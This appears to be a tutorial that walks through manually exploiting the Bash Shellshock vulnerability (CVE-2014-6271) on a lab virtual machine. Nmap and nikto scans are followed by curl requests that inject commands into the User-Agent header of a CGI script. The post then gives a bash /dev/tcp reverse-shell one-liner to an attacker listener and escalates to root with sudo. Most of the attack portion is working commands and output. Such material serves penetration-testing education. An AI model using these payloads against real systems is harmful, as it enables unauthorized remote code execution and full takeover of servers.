Manually exploiting the shellshock vulnerability, so that you can get a complete picture about how the exploitation of shellshock works.
It has been given CVE-2014-6271.
The vulnerability is in Bourne Again Shell (BASH) which we call as shellshock also known as Bashdoor.Many services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
At first we need to find cgi's that runs system commands and somehow display them to us, If you follow along you can get a good look at the curl too, because we are going to use it along the way.
To find the cgi's , we can run the dirbuster/dirb/nikto and then after finding all the cgi scripts we can crossverify via the nmap whether the vulnerability actually exists or not, yes the vulnerability is so critical that it has got a nmap nse script for it.
I have setup a vm for this in my virtual lab to demonstrate this.
As usual first we scan the target via nmap(we can do the check here itself, but we'll not we will follow along)

Running nmap:

Code:
root@kali:~# nmap 192.168.0.102 -sV -O -sT 

Starting Nmap 7.01 ( https://nmap.org ) at 2016-08-19 14:59 IST
Nmap scan report for 192.168.0.102
Host is up (0.00051s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.21 ((Unix) DAV/2)
MAC Address: 00:0C:29:19:F6:5E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
now we know what are all the ports open we can run nikto now on port 80 to get a feel what is the scene here.

Running nikto:-

Code:
root@kali:~# nikto -host 192.168.0.102
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.102
+ Target Hostname:    192.168.0.102
+ Target Port:        80
+ Start Time:         2016-08-19 15:16:56 (GMT5.5)
---------------------------------------------------------------------------
-----------------------------------------------------------------------snip-----------------------------------------------------------------------
+ Uncommon header 'nikto-added-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).
-----------------------------------------------------------------------snip-----------------------------------------------------------------------
+ End Time:           2016-08-19 15:17:22 (GMT5.5) (26 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Now you can see in the result that it shows "/cgi-bin/status" is shellshock vulnerable.

we will cross verify the result with the nmap.

Code:
root@kali:~# nmap 192.168.0.102 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/status

Starting Nmap 7.01 ( https://nmap.org ) at 2016-08-19 15:23 IST
Nmap scan report for 192.168.0.102
Host is up (0.00046s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-shellshock: 
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
-----------------------------------------------------------------------snip-----------------------------------------------------------------------
As both the result of nmap and nikto matches we can go for the exploitation of the shellshock vulnerability.

Lets first find out the poc online, simple google "shellshock poc" will get you the desired result at the top, that will be a github link with so many poc's. the poc i chose is the below one:

Code:
env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
From now on we will only use curl, not the browser, as i said before i will get you the feel for curl too.

so we will do the curl.

Code:
root@kali:~# curl -v 192.168.0.102/cgi-bin/status -s > /dev/null
*   Trying 192.168.0.102...
* Connected to 192.168.0.102 (192.168.0.102) port 80 (#0)
> GET /cgi-bin/status HTTP/1.1
> Host: 192.168.0.102
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Fri, 19 Aug 2016 15:32:49 GMT
< Server: Apache/2.2.21 (Unix) DAV/2
< Content-Length: 177
< Content-Type: application/json
< 
{ [177 bytes data]
* Connection #0 to host 192.168.0.102 left intact
Now getting a glimpse of the above request below are the parameter that would be needed to successsfuly exploit the vulnerability:

1- The method os reques(like GET /cgi-bin/status HTTP/1.1).
2. The hostname(like Host: 192.168.0.102).
3. we can use the useragent too, but its not required
4. what type of request we are expecting(like Accept: */*).

so now we will try to inject our poc in any of the field above and hope that get executed.

we will try to inject in the User-Agent field first,

Our poc is:

Code:
'() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
after injecting into User-Agent:

Code:
'User-Agent: () { :; }; echo "CVE-2014-6271 vulnerable" bash -c id'
Now lets make the request and hope for the good to happen.

Code:
root@kali:~# curl -H 'User-Agent: () { :; }; echo "CVE-2014-6271 vulnerable" bash -c id' http://192.168.0.102/cgi-bin/status
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
 creaper@creep.com and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
</body></html>
now we can see it throughs an error.
Can we give up here, No, becuase i am not, let's try another command by tweaking the command.
we will now give the complete path as we don't know about the environment variables set on the target machine. we will use "/bin/bash" in place of "bash" and will try to ping our attacking ip with the port so that we can listen on netcat, and finally get to know whether this command is working or not.

lets try the below:

Before:
Code:
'User-Agent: () { :; }; echo "CVE-2014-6271 vulnerable" bash -c id'
After:
Code:
'User-Agent: () { :; }; /bin/bash -c 'ping -c 3 192.168.0.101:1234''
now we will listen on port 1234 on netcat.

nc -lvp 1234

let fire this up:

Code:
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
Now sending the request to the target server:

Code:
root@kali:~# curl -H 'User-Agent: () { :; }; /bin/bash -c 'ping -c 3 192.168.0.101:1234'' http://192.168.0.102/cgi-bin/status
Now after sending the request the console stops doesn't give any output, but when we have a good look at our netcat we can see the below:

Code:
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.0.101] from kali [192.168.0.101] 42144
GET / HTTP/1.1
Host: 192.168.0.101:1234
Accept: */*
User-Agent: () { :; }; /bin/bash -c ping
Voila, we are getting the command executed.
Now we know our poc finally works.So now our next task is to get a reverse shell, lets try that too.

lets create a listener on attacking machine on port 1234.

Code:
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
we will use the below command to get a reverse shell, reference from pentestmonkey website.

Code:
/bin/bash -i >& /dev/tcp/192.168.0.101/1234 0>&1
fire the below command in the User-Agent

Before:
Code:
'User-Agent: () { :; }; /bin/bash -c 'ping -c 3 192.168.0.101:1234''
After:
Code:
'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.0.101/1234 0>&1'
"/bin/bash -i" because we want the command and things to be interactive.

this command is very useful when you don't have any netcat installed on the target machine or server.Make note of this command :-) .

Finally time to blast:

Code:
root@kali:~# curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.0.101/1234 0>&1' http://192.168.0.102/cgi-bin/status
Now have a innocent look on the netcat console:

Code:
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
192.168.0.102: inverse host lookup failed: Unknown host
connect to [192.168.0.101] from (UNKNOWN) [192.168.0.102] 53743
bash: no job control in this shell
bash-4.2$ id
id
uid=1000(creep) gid=50(staff) groups=50(staff),100(creep)
bash-4.2$
Awesome we have a got a reverse shell, we can get the root shell via sudo -s as the user is a part of sudoers.

Code:
bash-4.2$ sudo -s
sudo -s
id
uid=0(root) gid=0(root) groups=0(root)
Finally our main objective was to do shellshock manually which we did successfully

Things are not always easy as shown here we need to try many possibilities like how server behaves, environmental variables and many more. however i hope this aticle will get you to read any exploit available publically and make required modifications as real world senarios are always surprising and if you are not aware of how things work, you can get yourself in trouble.

Have Fun...